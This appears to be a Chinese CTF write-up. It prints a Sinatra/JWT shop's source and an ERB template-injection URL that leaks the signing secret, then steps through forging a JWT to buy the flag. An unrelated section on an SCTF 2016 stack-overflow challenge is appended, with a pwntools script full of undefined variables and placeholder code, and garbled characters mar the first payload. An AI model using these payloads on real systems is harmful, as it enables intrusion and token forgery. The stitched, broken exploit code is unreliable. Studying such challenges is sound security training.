[SCTF2019]Flag Shop

#题目:
在这里插入图片描述
1.发现robots.txt,里面提示/filebak,查看filebak发现源码

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

2.考察Ruby ERB注入https://www.anquanke.com/post/id/86867学习一下
重点代码

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

意思就是如果传入的参数do和name一致,则会输出params[:name][0,7]} working successfully!。ruby里有预定义变量

$'-最后一次成功匹配右边的字符串
构造do=<%= ′ '%> is working和name=<%= ’%>,记得把里面内容转成十六进制
所以最终就是
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
3.image.png
GET界面发送,得到JWT加密文本,和组成其的secret,
现在要将回显的jwt解密,secret填到对应位置,并修改JKL,JKL就是你有的money,最终再次得到新的JWT
image.png
4.将新的JWT替换进去,修改为POST传参,shop页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jwgBnQCO-1589012945468)(https://upload-images.jianshu.io/upload_images/18308497-08ab002faf00c7c8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
发送,回显又一个JWT,拿去解密
image.png
得到flag

### 关于 SCTF 2016 中 pwn2 题目的解析 在 SCTF (Security Capture The Flag) 2016 的比赛中,`pwn2` 是一道涉及栈溢出漏洞利用的题目[^1]。此题允许参赛者通过特定输入来覆盖返回地址并控制程序执行流程。 #### 漏洞环境描述 该挑战提供了一个存在缓冲区溢出缺陷的应用程序实例。应用程序接收用户输入作为处理对象,在缺乏适当边界检查的情况下将其复制到固定大小的内存区域中。这种设计使得攻击者能够精心构造恶意数据包以破坏堆栈结构,并最终实现任意代码执行的目的。 #### 解决方案概述 为了成功完成这一任务,参与者通常采取以下策略: - **确定偏移量**:首先需要找到合适的字节填充数量以便精确地覆盖目标位置而不影响其他重要部分的数据完整性。 - **泄露 SSP 地址**:由于开启了 Stack Smashing Protector(SSP),即栈保护机制,因此还需要想办法获取其实际值用于后续操作中的调整校验计算。 - **定位 libc 基础地址**:如果远程服务器上使用的 glibc 版本未知,则可能需借助某些方法推测或直接读取相关指针从而得知确切基址。 - **构建有效载荷**:最后一步就是组合上述信息形成完整的 exploit chain ,比如采用 ret2libc 技巧调用 system 函数启动 shell 或者跳转至已知 gadgets 实现相同效果。 ```python from pwn import * context(log_level="debug") flag_addr = 0x600DC0 for attempt in range(1, 101): try: conn = remote('example.com', port_number) padding = b'a' * offset_to_return_address # 计算得出的确切偏移量 payload = ( padding + pack(flag_addr, 64) + ... # 可能还包括其他的 ROP chains 组件 ) conn.recvuntil(prompt_string) conn.sendline(payload) response = conn.recvall(timeout=timeout_seconds).decode() print(f"[Attempt {attempt}] Received: ", response.strip()) if success_pattern in response.lower(): break except Exception as e: log.error(e) finally: conn.close() if not 'success pattern found': raise ValueError("Failed after multiple attempts.") ``` 这段 Python 脚本展示了如何自动化尝试连接服务端发送特制请求的过程。注意这里 `offset_to_return_address`, `prompt_string`, 和 `port_number` 等变量都需要根据实际情况设定具体的数值;而 `pack()` 方法用来创建适合架构位宽的机器码表示形式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值